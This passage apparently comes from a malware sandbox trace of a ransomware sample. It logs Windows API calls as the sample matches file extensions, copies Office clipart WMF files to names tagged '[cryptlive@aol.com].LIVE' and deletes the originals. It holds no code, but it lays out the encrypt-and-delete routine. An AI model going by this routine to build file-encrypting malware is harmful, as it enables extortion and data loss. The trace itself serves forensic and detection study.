(lpString1=".jpg", lpString2=".WMF") returned -1 [0154.393] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.393] lstrlenW (lpString="J0107130.WMF") returned 12 [0154.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0154.414] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=27084) returned 1 [0154.414] CloseHandle (hObject=0x1e0) returned 1 [0154.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 0x20 [0154.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0154.749] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.749] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0154.764] GetLastError () returned 0x0 [0154.764] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x69cc, lpOverlapped=0x0) returned 1 [0154.779] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x69d0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x69d0, lpOverlapped=0x0) returned 1 [0154.781] ReadFile (in: hFile=0x314, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.781] WriteFile (in: hFile=0x1b8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.781] SetEndOfFile (hFile=0x1b8) returned 1 [0154.781] CloseHandle (hObject=0x1b8) returned 1 [0154.781] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.781] SetEndOfFile (hFile=0x314) returned 1 [0154.783] CloseHandle (hObject=0x314) returned 1 [0154.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.789] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf")) returned 1 [0154.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.875] lstrlenW (lpString=".doc") returned 4 [0154.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.875] lstrlenW (lpString=".docx") returned 5 [0154.875] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.875] lstrlenW (lpString=".pdf") returned 4 [0154.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.875] lstrlenW (lpString=".xls") returned 4 [0154.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.875] lstrlenW (lpString=".xlsx") returned 5 [0154.875] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.875] lstrlenW (lpString=".ppt") returned 4 [0154.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.875] lstrlenW (lpString=".zip") returned 4 [0154.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.875] lstrlenW (lpString=".rar") returned 4 [0154.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.875] lstrlenW (lpString=".bz2") returned 4 [0154.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.875] lstrlenW (lpString=".7z") returned 3 [0154.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString=".dbf") returned 4 [0154.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString=".1cd") returned 4 [0154.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString=".jpg") returned 4 [0154.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString=".doc") returned 4 [0154.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString=".docx") returned 5 [0154.876] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0154.876] lstrlenW (lpString=".pdf") returned 4 [0154.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString=".xls") returned 4 [0154.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.876] lstrlenW (lpString=".xlsx") returned 5 [0154.876] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0154.876] lstrlenW (lpString=".ppt") returned 4 [0154.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.876] lstrlenW (lpString=".zip") returned 4 [0154.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.876] lstrlenW (lpString=".rar") returned 4 [0154.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString=".bz2") returned 4 [0154.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.876] lstrlenW (lpString=".7z") returned 3 [0154.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.877] lstrlenW (lpString=".dbf") returned 4 [0154.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.877] lstrlenW (lpString=".1cd") returned 4 [0154.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF") returned 63 [0154.877] lstrlenW (lpString=".jpg") returned 4 [0154.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.877] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.877] lstrlenW (lpString="J0107288.WMF") returned 12 [0154.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0154.878] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13436) returned 1 [0154.878] CloseHandle (hObject=0x1fc) returned 1 [0154.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 0x20 [0154.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0154.879] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.879] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0154.880] GetLastError () returned 0x0 [0154.880] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x347c, lpOverlapped=0x0) returned 1 [0154.903] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x3480, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3480, lpOverlapped=0x0) returned 1 [0154.904] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.904] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.904] SetEndOfFile (hFile=0x3b4) returned 1 [0154.904] CloseHandle (hObject=0x3b4) returned 1 [0154.904] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.904] SetEndOfFile (hFile=0x1fc) returned 1 [0154.909] CloseHandle (hObject=0x1fc) returned 1 [0154.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107288.wmf")) returned 1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.911] lstrlenW (lpString=".doc") returned 4 [0154.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".docx") returned 5 [0154.911] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.911] lstrlenW (lpString=".pdf") returned 4 [0154.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".xls") returned 4 [0154.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.911] lstrlenW (lpString=".xlsx") returned 5 [0154.911] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.911] lstrlenW (lpString=".ppt") returned 4 [0154.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.911] lstrlenW (lpString=".zip") returned 4 [0154.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.911] lstrlenW (lpString=".rar") returned 4 [0154.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".bz2") returned 4 [0154.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString=".7z") returned 3 [0154.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.911] lstrlenW (lpString=".dbf") returned 4 [0154.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.911] lstrlenW (lpString=".1cd") returned 4 [0154.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".jpg") returned 4 [0154.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".doc") returned 4 [0154.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString=".docx") returned 5 [0154.912] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.912] lstrlenW (lpString=".pdf") returned 4 [0154.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString=".xls") returned 4 [0154.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.912] lstrlenW (lpString=".xlsx") returned 5 [0154.912] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.912] lstrlenW (lpString=".ppt") returned 4 [0154.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".zip") returned 4 [0154.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.912] lstrlenW (lpString=".rar") returned 4 [0154.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString=".bz2") returned 4 [0154.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString=".7z") returned 3 [0154.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".dbf") returned 4 [0154.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".1cd") returned 4 [0154.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107288.WMF") returned 63 [0154.912] lstrlenW (lpString=".jpg") returned 4 [0154.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.913] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.913] lstrlenW (lpString="J0107300.WMF") returned 12 [0154.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0154.913] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2460) returned 1 [0154.913] CloseHandle (hObject=0x1fc) returned 1 [0154.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 0x20 [0154.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0154.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.914] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0154.915] GetLastError () returned 0x0 [0154.915] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x99c, lpOverlapped=0x0) returned 1 [0155.033] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x9a0, lpOverlapped=0x0) returned 1 [0155.034] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0155.034] WriteFile (in: hFile=0x3b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0155.034] SetEndOfFile (hFile=0x3b4) returned 1 [0155.034] CloseHandle (hObject=0x3b4) returned 1 [0155.035] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0155.035] SetEndOfFile (hFile=0x1fc) returned 1 [0155.037] CloseHandle (hObject=0x1fc) returned 1 [0155.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0155.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107300.wmf")) returned 1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString=".doc") returned 4 [0155.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".docx") returned 5 [0155.296] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.296] lstrlenW (lpString=".pdf") returned 4 [0155.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".xls") returned 4 [0155.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.296] lstrlenW (lpString=".xlsx") returned 5 [0155.296] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.296] lstrlenW (lpString=".ppt") returned 4 [0155.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString=".zip") returned 4 [0155.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.296] lstrlenW (lpString=".rar") returned 4 [0155.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".bz2") returned 4 [0155.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".7z") returned 3 [0155.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString=".dbf") returned 4 [0155.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString=".1cd") returned 4 [0155.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.296] lstrlenW (lpString=".jpg") returned 4 [0155.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString=".doc") returned 4 [0155.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString=".docx") returned 5 [0155.297] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.297] lstrlenW (lpString=".pdf") returned 4 [0155.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString=".xls") returned 4 [0155.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.297] lstrlenW (lpString=".xlsx") returned 5 [0155.297] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.297] lstrlenW (lpString=".ppt") returned 4 [0155.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString=".zip") returned 4 [0155.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.297] lstrlenW (lpString=".rar") returned 4 [0155.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString=".bz2") returned 4 [0155.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString=".7z") returned 3 [0155.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString=".dbf") returned 4 [0155.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString=".1cd") returned 4 [0155.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107300.WMF") returned 63 [0155.297] lstrlenW (lpString=".jpg") returned 4 [0155.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.297] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0155.297] lstrlenW (lpString="J0107314.WMF") returned 12 [0155.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0155.430] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=10852) returned 1 [0155.430] CloseHandle (hObject=0x1f8) returned 1 [0155.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 